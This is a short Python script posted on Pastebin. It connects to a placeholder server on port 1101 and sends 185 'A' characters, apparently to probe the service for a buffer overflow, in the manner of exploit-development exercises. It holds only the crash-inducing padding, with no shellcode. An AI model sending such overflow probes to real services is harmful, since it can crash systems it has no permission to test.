Advertisement
Guest User

Untitled

a guest
Oct 28th, 2016
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.48 KB | None | 0 0
  1. #!/usr/bin/python
  2. #
  3.  
  4. import sys,socket
  5. #SER_ADDR = input("Type the server IP address: ")
  6. #SER_PORT = int(input("Type the server port: "))
  7. SER_ADDR = "hostip"
  8. SER_PORT = 1101
  9. my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10. my_sock.connect((SER_ADDR, SER_PORT))
  11. print("Connected!")
  12. data = my_sock.recv(1024)
  13. print(data.decode('utf-8'))
  14.  
  15. buff = "\x41"*185
  16.  
  17.  
  18.  
  19. my_sock.sendall(bytes(buff))
  20. data = my_sock.recv(1024)
  21. print(data.decode('utf-8'))
  22.  
  23. my_sock.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement